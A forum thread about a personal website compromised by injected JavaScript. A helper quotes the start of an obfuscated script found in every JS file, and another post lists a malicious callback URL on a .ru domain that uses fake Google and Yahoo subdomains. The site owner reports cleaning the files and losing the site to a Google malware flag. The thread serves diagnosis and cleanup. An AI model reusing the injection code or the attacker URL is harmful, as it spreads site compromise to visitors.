urls from within this script http://googleusercontent-com.sitesell.com.yimg-com.mediatagonline.ru:8080/google.com/google.com/marketwatch.com/maktoob.com/xing.com the whole script is decrypting itself to then contact a server
Okay @Tim Deneau - THANK YOU SO MUCH. super big help, I really appreciate it. I have located, and deleted the infected JS files. And i have re-uploaded clean ones. Shitty part is that google has flagged my site as containing malicious software. This puts my job hunting for the time being at a complete stand still. Fucking…
There's a scripting exploit in your site. I started digging around in your javascript files and found this cryptic code block that has been inserted into everything: this.zc="zc";var kl=new String();v=function(){var kg;if(kg!='se'){kg='se'};var w=document;var e;if(e!='d'){e=''};var ty;if(ty!='' &&…